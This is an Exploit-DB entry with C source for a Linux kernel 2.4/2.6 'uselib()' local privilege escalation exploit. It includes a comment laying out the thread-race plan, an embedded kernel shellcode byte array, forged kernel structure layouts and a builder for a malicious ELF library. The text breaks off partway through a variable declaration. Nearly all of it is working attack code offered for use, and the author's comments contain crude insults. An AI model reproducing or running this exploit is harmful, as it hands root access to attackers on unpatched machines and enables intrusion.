Exploit-DB #895
Description: Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3)
Type: local
Platform: linux
Date: 2005-03-22
Author: sd

Exploit:
/*
* pwned.c - linux 2.4 and 2.6 sys_uselib local root exploit. PRIVATE.
* it's not the best one, the ldt approach is definitively better.
* discovered may 2004. no longer private because lorian/cliph/ihaquer
* can lick my balls.
* (c) 2004 sd <sd@fucksheep.org>
* requieres cca 1gb on fs.
*/


/*
* first create fake vma structs.
*
*
* let's have 3 threads, t1, t2 and t3.
* t1 and t2 have common vm.
*
* t3:
* - wait4sig (will come back from t2)
* - write(fd3, bigmem, bigfile_size)
* - exit()
* t1:
* - fd3 = empty file
* - fd1 = bigfile, writing it took 16 secs
* - bigmem = mmap(NULL, bigfile_size, fd1, 0);
* - t3 = fork()
* - t2 = clone()
* - fd2 = munmap_file, size of ram.
* - mumem = mmap(NULL, munmap_file_size, fd2)
* - mmap(mumem, 4096, ANONYMOUS) // for extending do_brk check
* - mmap lots of vmas
* - close(fd2);
* - create evil lib
* - free lot of vmas
* - sig @ t2
* - evil_lib->do_munmap(mumem + 4096, munmap_file_size - 4096);
* - sem = 1
* - waitpid
* t2:
* - wait4sig
* - sleep(100msec)
* - mmap(mumem, fd3, 4096) // this is being protected by i_sem !
* - sendsig @ t3
* - sleep(100msec)
* - if (sem) error
* - msync(mumem, 8192) - will wait for write() to finish. munmap finishes by that
* time
* - if (!sem) error
* - if it does return we failed, otherwise shell.
*
*/

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <time.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <linux/fcntl.h>
#include <sys/mman.h>
#include <sys/time.h>
#include <linux/elf.h>



#define __WCLONE 0x80000000 /* Wait only on non-SIGCHLD children */

#define ltime unsigned long long
#define MEMSZ (70*1024*1024)

#define MAGIC -123

unsigned char shellcode[] =
"\x60\xe8\x5f\x00\x00\x00\x30\x03\x98\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x52\x49\x56\x41\x54\x45\x2a\x6b\x65\x72\x6e\x65\x6c\x20\x63\x61\x70\x20\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2c\x20\x28\x63\x29\x20\x32\x30\x30\x34\x20\x3c\x73\x64\x40\x68\x79\x73\x74\x65\x72\x69\x61\x2e\x73\x6b\x3e\x2a\x50\x52\x49\x56\x41\x54\x45\x5b\xbd\x00\xe0\xff\xff\x21\xe5\x81\x7d\x00\x00\x00\x00\xc0\x72\x03\x8b\x6d\x00\x8d\x4b\x08\xb8\xb8\x00\x00\x00\xcd\x80\x8b\x11\x8b\x71\x04\x8b\x79\x08\x83\xc5\x04\x39\x55\x00\x75\xf8\x39\x7d\x04\x75\xf3\x39\x75\x08\x75\xee\x31\xc0\x48\x89\x45\x00\x89\x45\x04\x89\x45\x08\xb8\xb8\x00\x00\x00\x8d\x4b\x14\xcd\x80\xff\x41\x04\x74\x0b\x89\x55\x00\x89\x7d\x04\x89\x75\x08\xeb\xc8\x61\xb8\x85\xff\xff\xff\xc3";

static ltime gtime()
{
struct timeval tv;
gettimeofday(&tv, NULL);
return tv.tv_sec * 1000000 + tv.tv_usec;
}

ltime lt;

static void time_start()
{
lt = gtime();
}

static void time_end()
{
printf("took %lu microseconds\n", gtime() - lt);
}

void core_stat()
{
int s;
char buf[512];
char incore;
unsigned long last = 0;
FILE *f;

sprintf(buf, "/proc/%d/maps", getpid());
f = fopen(buf, "rt");
while (fgets(buf, 512, f)) {
unsigned int from, to;
unsigned int i;

if (sscanf(buf, "%x-%x", &from, &to) < 2)
break;
// printf("%p!%p\n", from, to);
for (i = from; i < to; i += PAGE_SIZE) {
mincore((void *) i, PAGE_SIZE, &incore);
if (incore) {
r:;
if (!last) {
printf("in core 0x%08x-", i);
s = last = i;
continue;
}
if (last + PAGE_SIZE == i) {
// printf("(%p)", i);
last = i;
continue;
}
printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s);
last = 0;
goto r;
}
if (!last)
continue;
printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s);
last = 0;
}
}
fclose(f);
}


#define SWAPFILE "TTswap"
#define EATFILES "TTeatfiles"
#define EATFILE "TTeatfile"
#define SHAREFILE "TTsharefile"
#define DUMMYFILE "TTdummyfile"
#define EATTIME 10
#define LIBFILE "TTlib"

/* number of vma struct fill */
#define VMAFILL 15000 

/* how much pages to sync - 2 is enough */
#define NSYNC 2
#define BASE (char *) 0x60000000
#define DBASE (char *) 0x80001000
#define EPAGE (char *) 0x80000000

#define MAPSTEP 64 * 4096

#if 1
#define DEBUG(x...) { printf("%s():", __func__); printf(x); printf("\n"); }
#else
#define DEBUG(x...)
#endif

#define sendsig(pid) kill(pid, SIGUSR1)
#define wait4sig() { while (!gotsig) pause(); gotsig = 0; }

#define PAGE_DOWN(x) (x & ~(PAGE_SIZE-1))
#define PAGE_ALIGN(x) ((x+PAGE_SIZE-1) & ~(PAGE_SIZE-1))

#undef O_DIRECT
#define O_DIRECT 0

struct libimg {
Elf32_Ehdr elf;
Elf32_Phdr ph;
};


struct dentry_struct {
unsigned dummy0, dummy1;
void *inode1, *inode2;
};

struct file_struct {
struct file_struct *next, *prev;
void *dentry;
void *mnt;
void *op;
void *f_mapping[64]; /* somewhere in there is f_mapping on 2.6 */
};

/* this should roughly cover 2.4* and 2.6* */
struct vma_struct {
void *mm;
unsigned long vm_start;
unsigned long vm_end;
struct vma_struct *vm_next;
unsigned long pgprot;
unsigned long vmflags;
char rb[16];
void *shared_next, *shared_prev;
void *vm_ops;
unsigned long pgoff;
void *file;
void *priv;
};

struct mm_struct {
struct vma_struct *mmap;
void *rb;
struct vma_struct *cache;
void *pgd1;
void *pgd2;
void *pgd3;
/* somewhere there lies the spinlock */
unsigned long locks[32];
};


/* the image of the evil library. */
struct libimg limg = {
{
e_ident: "\177ELF",
e_type: ET_EXEC,
e_machine: EM_386,
e_phoff: sizeof(Elf32_Ehdr),
e_ehsize: sizeof(Elf32_Ehdr),
e_phentsize: sizeof(Elf32_Phdr),
e_phnum: 1
},
{
p_type: PT_LOAD,
p_vaddr: 0,
p_memsz: 0
}
};

static void make_lib(char *name)
{
int libfd = open(name, O_CREAT|O_RDWR|O_TRUNC, 0700);
write(libfd, &limg, sizeof(limg));
fchmod(libfd, 0700);
}


static char thread_stack[16384];
int fd1, fd2, fd3;
char buf[MAPSTEP];
int notincore;
int t4;
int t3;
int t2;
int bigsize = 0;
char *bigmem = NULL;
int swapsize = 0;
char *swapmem =